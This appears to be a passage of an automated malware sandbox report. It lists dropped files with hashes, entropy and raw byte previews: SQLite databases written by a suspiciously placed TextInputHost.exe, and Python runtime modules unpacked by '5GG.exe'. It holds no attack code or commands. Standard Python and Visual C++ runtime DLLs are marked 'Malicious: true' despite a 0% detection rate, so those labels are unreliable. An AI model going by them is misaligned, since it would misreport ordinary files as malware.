MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZVTJ30J7y1

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZfZiYp4LU5

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZoDjZkWI5B

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZtOhiF6rYp

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZzGVPHp2SY

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imaging.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2581504
Entropy (8bit):	6.45702633019264
Encrypted:	false
SSDEEP:	49152:cXJZ2yO4Iom0Uo+K7odkwMHALrLrLrLFcJiSL:UMLK7oKt
MD5:	A3CAE207BD9E2513AE1D72A16D202AAE
SHA1:	354B0C42FD0AA852B5189EEF67FE50A484A8161F
SHA-256:	67C0E06BDE830A9552EA601DD271387EA0AC5F32308F3CD399693C3B98389960
SHA-512:	E58872071E61EA528B45C1ADFB5AF74AD5E568AFFF7D38A2ADC1E22270F4B7C78E061B4E7B193E9E69200DB665DD489D168E8E20691667EEBDE9BC521E58450A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........<.%Z].vZ].vZ].vS%)vJ].vO".wX].vO"Gv^].vO".wT].vO".wR].vO".w^].v.(.wX].v.%.w]].vZ].v_\.vZ].vA].v`.w\|\.v`.w.].v`.w[].v`.Ev[].v`.w[].vRichZ].v................PE..d...g.e.........." ...%............,U........................................'...........`.........................................p.%.`.....%.......'.......&...............'.....P{$......................{$.(....z$.@............................................text............................... ..`.rdata..4).......*..................@..@.data........&..`....%.............@....pdata........&......@&.............@..@.rsrc.........'......L'.............@..@.reloc........'......N'.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingcms.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.288727427123961
Encrypted:	false
SSDEEP:	6144:5IzOs0LsbbcOYRI7OrhdlnLg9uP1+74/LgHmPr9qvZqhLaHLTLrLfqeqwL/gQ5ge:uzOs0OGhdlnLg9uP1+74/LgHmPr9qvZ/
MD5:	9C8DAC02BA13BA7B32E9CCACFD6B7007
SHA1:	3A82EEA921B105E81D1362D0852544A1CA4D5BA8
SHA-256:	61D5DAF945C8C0436ABE8E7CB273B6CD9389B585CBF3B1BDD0326BE62BBD9D10
SHA-512:	5358853483A62F0E119465CA6B3F9C8AE3C1F076282A6FE3A9794DBC3990A54DD25BFF22E60508DB278126A52B396F6514ED1B43219A8C4F7D4F982BB63D840D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R6V[.W8..W8..W8../...W8..(9..W8..(=..W8..(<..W8..(;..W8.."9..W8.]/9..W8..W9.xW8.,.0..W8.,.8..W8.,....W8.,.:..W8.Rich.W8.........................PE..d...W.e.........." ...%....."......<........................................@............`.............................................h...h........ .........../...........0.......`..............................p_..@...............p............................text............................... ..`.rdata.............................@..@.data....?.......:..................@....pdata.../.......0..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingmath.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.587856256597173
Encrypted:	false
SSDEEP:	384:kwU5804Pp/4TsXwCrhBOa8j65NGDIgyJ+:kp80s4T/Crhsp65yt
MD5:	6EAA5FF980649B14215B94D43434A568
SHA1:	33736402DD502EBDD4AA0EA3A92F015F4753E02D
SHA-256:	20329428367A0D176280E40C7553A841ED24CDDDD4F431587EA4E391BAE32BAA
SHA-512:	50CEC14DD2397EE79EAD8D2E06CB65D1CBE92A65E99D2067B61547CBB2D8F463180D5B916B15A3F52369163D11D2F3739AB7FFD4DF0101F10121EFC7952ECB14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............@..@..@.....@...A..@...A..@...E..@...D..@...C..@...A..@..A...@...H..@...@..@......@...B..@.Rich.@.................PE..d...X.e.........." ...%.4...,.......8....................................................`.........................................``..h....`..x...............P...............@....U...............................S..@............P..`............................text...X3.......4.................. ..`.rdata.. ....P.......8..............@..@.data........p.......P..............@....pdata..P............R..............@..@.rsrc................Z..............@..@.reloc..@............\..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingtk.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	4.938464291761266
Encrypted:	false
SSDEEP:	192:Goq/Ztwu+7WM00KpbQoSM8ZBdVqAdckgTfgZ:yZoHKpcoSFwAZgTo
MD5:	48AFC8244A92ABC0CA92E1FC0CB67C02
SHA1:	0E6D366B9608BDD29790BB53062E3572936E74D3
SHA-256:	6726BA7BC8BC60CFBC392AFCADDFF972EBB74CC4AA17CC0D4A6E13407D1476A7
SHA-512:	33EEFA4D7D86CD0E0E0092E273C6AB7A9EC5BE3D2597DC26DECD6C9E4AC6EB00523A9E199B27E3398400155742A3971FF1556FF36E3574052C3411594B4E3DBD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s>...m...m...m..m...m...l...m...l...m...l...m...l...m0..l...m...l..m...m...m...l...m...l...m...m...m...l...mRich...m........PE..d...X.e.........." ...%.....$......@.....................................................`.........................................p;..d....;.......p.......`..................<...`5.............................. 4..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data........P.......0..............@....pdata.......`.......2..............@..@.rsrc........p.......6..............@..@.reloc..<............8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_webp.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	534528
Entropy (8bit):	6.583043730341305
Encrypted:	false
SSDEEP:	12288:50QIgnVCZh4nbXy8mAC1tQzLrLrLrLWmE5Gx0Hs/JE:504wwnbXBzLrLrLrLWmE60Hs/JE
MD5:	1AAE476B1158C026139B2295D18B7158
SHA1:	976BF0EEE6EE4B464C4957622FCCF7CC5411E56A
SHA-256:	211BCB20C993DF6AB59DE5A7F23545BCC4E329D8363A95A7B6C620F5D3C49964
SHA-512:	151D28731E3747B0BF064E15D0320FB8B5BEB65D1B44BD2DC345034F1D1E84BB292CACC07F3E055A7B95028B9BFB998833518E2A3DFD3A808E249ACD6F03E53F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h...,.v.,.v.,.v.%...&.v.9.w...v.g.w...v.9.s.!.v.9.r.$.v.9.u.(.v..w./.v.,.w...v..Mr.z.v..M~.-.v..Mv.-.v..M..-.v..Mt.-.v.Rich,.v.................PE..d...W.e.........." ...%..................................................................`.............................................\............p....... ..TN..................`W.............................. V..@............................................text............................... ..`.rdata..............................@..@.data....2..........................@....pdata..TN... ...P..................@..@.rsrc........p.......$..............@..@.reloc...............&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38304
Entropy (8bit):	6.3923853431578035
Encrypted:	false
SSDEEP:	768:Xhh4pTUUtmUwqiu8oSRjez6SD7GkxZYj/9zLUr:xJ9x70GkxuZz2
MD5:	75E78E4BF561031D39F86143753400FF
SHA1:	324C2A99E39F8992459495182677E91656A05206
SHA-256:	1758085A61527B427C4380F0C976D29A8BEE889F2AC480C356A3F166433BF70E
SHA-512:	CE4DAF46BCE44A89D21308C63E2DE8B757A23BE2630360209C4A25EB13F1F66A04FBB0A124761A33BBF34496F2F2A02B8DF159B4B62F1B6241E1DBFB0E5D9756
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L......................h.........G.........:...h.......h.......h.......h.......h.+.....h.......Rich............................PE..d................." ... .:...6.......A..............................................B.....`A.........................................m.......m..x....................n...'......D....c..p...........................`b..@............P..`............................text....9.......:.................. ..`.rdata..."...P...$...>..............@..@.data................b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..D............l..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64424
Entropy (8bit):	6.124000794465739
Encrypted:	false
SSDEEP:	1536:r/p7Wh7XUagO7BR4SjavFHx8pIS5nWQ7Sy7o:r/tWhzUahBR4Sjahx8pIS5n5Fo
MD5:	6EB3C9FC8C216CEA8981B12FD41FBDCD
SHA1:	5F3787051F20514BB9E34F9D537D78C06E7A43E6
SHA-256:	3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010
SHA-512:	2027707824D0948673443DD54B4F45BC44680C05C3C4A193C7C1803A1030124AD6C8FBE685CC7AAF15668D90C4CD9BFB93DE51EA8DB4AF5ABE742C1EF2DCD08B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~[b...b...b...k..`.......`.......n.......j.......a.......a.......`...b..........c.......c.......c.......c...Richb...........PE..d....K.b.........." ... .T..........`...............................................^.....`.............................................P...P...d........................)...........w..T...........................@v..@............p.. ............................text....R.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83368
Entropy (8bit):	6.530099411242372
Encrypted:	false
SSDEEP:	1536:asRz7qNFcaO6ViD4fhaLRFc/a8kd7jzWHCxIStVs7Sywk:9RzGYYhaY9kd7jzWixIStVs+k
MD5:	A4B636201605067B676CC43784AE5570
SHA1:	E9F49D0FC75F25743D04CE23C496EB5F89E72A9A
SHA-256:	F178E29921C04FB68CC08B1E5D1181E5DF8CE1DE38A968778E27990F4A69973C
SHA-512:	02096BC36C7A9ECFA1712FE738B5EF8B78C6964E0E363136166657C153727B870A6A44C1E1EC9B81289D1AA0AF9C85F1A37B95B667103EDC2D3916280B6A9488
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........{..{..{...#.{......{....M.{......{......{......{......{..Z...{..{...{......{......{....O.{......{..Rich.{..........PE..d....K.b.........." ... .....^..............................................P......& ....`.........................................p...H............0....... .. ........)...@..........T...........................p...@............................................text...O........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_cffi_backend.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181248
Entropy (8bit):	6.188683787528254
Encrypted:	false
SSDEEP:	3072:rZ1fKD8GVLHASq0TTjfQxnkVB0hcspEsHS7iiSTLkKetJb9Pu:rZNRGVb9TTCnaZsuMXiSTLLeD9
MD5:	EBB660902937073EC9695CE08900B13D
SHA1:	881537ACEAD160E63FE6BA8F2316A2FBBB5CB311
SHA-256:	52E5A0C3CA9B0D4FC67243BD8492F5C305FF1653E8D956A2A3D9D36AF0A3E4FD
SHA-512:	19D5000EF6E473D2F533603AFE8D50891F81422C59AE03BEAD580412EC756723DC3379310E20CD0C39E9683CE7C5204791012E1B6B73996EA5CB59E8D371DE24
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih..-..C-..C-..C$qMC!..C.\|.B/..CKf#C)..C.\|.B&..C.\|.B%..C.\|.B)..Cfq.B)..C.\|.B...C-..C...C.\|.B)..C$qKC,..C.\|.B,..C.\|!C,..C.\|.B,..CRich-..C........PE..d.....e.........." .........@...............................................0............`..........................................g..l...\|g..................H............ .......M...............................M..8............................................text...h........................... ..`.rdata..l...........................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122792
Entropy (8bit):	6.021506515932983
Encrypted:	false
SSDEEP:	3072:bsQx9bm+edYe3ehG+20t7MqfrSW08UficVISQPkFPR:QQxCOhGB0tgqfrSiUficrZ
MD5:	87596DB63925DBFE4D5F0F36394D7AB0
SHA1:	AD1DD48BBC078FE0A2354C28CB33F92A7E64907E
SHA-256:	92D7954D9099762D81C1AE2836C11B6BA58C1883FDE8EEEFE387CC93F2F6AFB4
SHA-512:	E6D63E6FE1C3BD79F1E39CB09B6F56589F0EE80FD4F4638002FE026752BFA65457982ADBEF13150FA2F36E68771262D9378971023E07A75D710026ED37E83D7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T....ne..ne..ne......ne.p.d..ne.p.`..ne.p.a..ne.p.f..ne.t.d..ne...a..ne...d..ne...d..ne..nd..ne.t.h..ne.t.e..ne.t....ne.t.g..ne.Rich.ne.........PE..d....K.b.........." ... ............P[..............................................H.....`..........................................Q.......R...........................).......... ...T...............................@...............@............................text............................... ..`.rdata..nl.......n..................@..@.data...D>...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	250280
Entropy (8bit):	6.547354352688139
Encrypted:	false
SSDEEP:	6144:TogRj7JKM8c7N6FiFUGMKa3xB6Dhj9qWMa3pLW1A64WsqC:tPJKa7N6FEa3x4NlbqC
MD5:	10F7B96C666F332EC512EDADE873EECB
SHA1:	4F511C030D4517552979105A8BB8CCCF3A56FCEA
SHA-256:	6314C99A3EFA15307E7BDBE18C0B49BC841C734F42923A0B44AAB42ED7D4A62D
SHA-512:	CFE5538E3BECBC3AA5540C627AF7BF13AD8F5C160B581A304D1510E0CB2876D49801DF76916DCDA6B7E0654CE145BB66D6E31BD6174524AE681D5F2B49088419
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7.......................................+.........c.........................[...........Rich...........PE..d....K.b.........." ... .p...:.......................................................^....`..........................................D..P...@E...................'.......)......@...p...T...........................0...@............................................text...]o.......p.................. ..`.rdata...............t..............@..@.data....)...`...$...L..............@....pdata...'.......(...p..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61864
Entropy (8bit):	6.210920109899827
Encrypted:	false
SSDEEP:	768:aSz5iGzcowlJF+aSe3kuKUZgL4dqDswE9+B1fpIS5IHYiSyvc9eEdB:npWlJF+aYupZbdqDOgB1fpIS5IH7Sy+V
MD5:	49CE7A28E1C0EB65A9A583A6BA44FA3B
SHA1:	DCFBEE380E7D6C88128A807F381A831B6A752F10
SHA-256:	1BE5CFD06A782B2AE8E4629D9D035CBC487074E8F63B9773C85E317BE29C0430
SHA-512:	CF1F96D6D61ECB2997BB541E9EDA7082EF4A445D3DD411CE6FD71B0DFE672F4DFADDF36AE0FB7D5F6D1345FBD90C19961A8F35328332CDAA232F322C0BF9A1F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zD.A>%..>%..>%..7]..:%..^_..<%..^_..2%..^_..6%..^_..=%..Z_..<%...W..<%...\..=%..>%...%..Z_..?%..Z_..?%..Z_..?%..Z_..?%..Rich>%..................PE..d....K.b.........." ... .P...z.......<..............................................Np....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158120
Entropy (8bit):	6.838169661977938
Encrypted:	false
SSDEEP:	3072:MeORg8tdLRrHn5Xp4znfI9mNoY6JCvyPZxsyTxISe1KmDd:M/Rgo1L5wwYOY6MixJKR
MD5:	B5FBC034AD7C70A2AD1EB34D08B36CF8
SHA1:	4EFE3F21BE36095673D949CCEAC928E11522B29C
SHA-256:	80A6EBE46F43FFA93BBDBFC83E67D6F44A44055DE1439B06E4DD2983CB243DF6
SHA-512:	E7185DA748502B645030C96D3345D75814BA5FD95A997C2D1C923D981C44D5B90DB64FAF77DDBBDC805769AF1BEC37DAF0ECEE0930A248B67A1C2D92B59C250C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m....................................................<.........................................Rich...........................PE..d....L.b.........." ... .d...........8...............................................p....`.........................................0%..L...\|%..x....p.......P.......@...)......H.......T...........................`...@............................................text...^c.......d.................. ..`.rdata..............h..............@..@.data........@......................@....pdata.......P....... ..............@..@.rsrc........p.......4..............@..@.reloc..H............>..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33192
Entropy (8bit):	6.3186201273933635
Encrypted:	false
SSDEEP:	768:Y3I65wgJ5xeSZg2edRnJ8ZISRtczYiSyvZCeEdP:gIgJ5Uqg2edRJ8ZISRtcz7Sy0b
MD5:	71AC323C9F6E8A174F1B308B8C036E88
SHA1:	0521DF96B0D622544638C1903D32B1AFF1F186B0
SHA-256:	BE8269C83666EAA342788E62085A3DB28F81512D2CFA6156BF137B13EBEBE9E0
SHA-512:	014D73846F06E9608525A4B737B7FCCBE2123D0E8EB17301244B9C1829498328F7BC839CC45A1563CF066668EA6E0C4E3A5A0821AB05C999A97C20AA669E9EDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.+.>.x.>.x.>.x.Fgx.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.>.x.>.xmL.y.>.x.D.y.>.x.D.y.>.x.D.x.>.x.D.y.>.xRich.>.x........................PE..d....K.b.........." ... .....<......0....................................................`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48552
Entropy (8bit):	6.319402195167259
Encrypted:	false
SSDEEP:	768:9i4KJKYCKlBj7gKxwfZQ7ZlYXF1SVMHE4ftISstDYiSyvM+eEd2:hKJfBuAA1SVWBftISstD7Syti
MD5:	7E6BD435C918E7C34336C7434404EEDF
SHA1:	F3A749AD1D7513EC41066AB143F97FA4D07559E1
SHA-256:	0606A0C5C4AB46C4A25DED5A2772E672016CAC574503681841800F9059AF21C4
SHA-512:	C8BF4B1EC6C8FA09C299A8418EE38CDCCB04AFA3A3C2E6D92625DBC2DE41F81DD0DF200FD37FCC41909C2851AC5CA936AF632307115B9AC31EC020D9ED63F157
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.K{8.%(8.%(8.%(1..(<.%(X.$):.%(X. )4.%(X.!)0.%(X.&);.%(\.$):.%(8.$(N.%(.$)=.%(.!)9.%(\.()9.%(\.%)9.%(\..(9.%(\.')9.%(Rich8.%(........PE..d....K.b.........." ... .>...X...... ................................................o....`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................

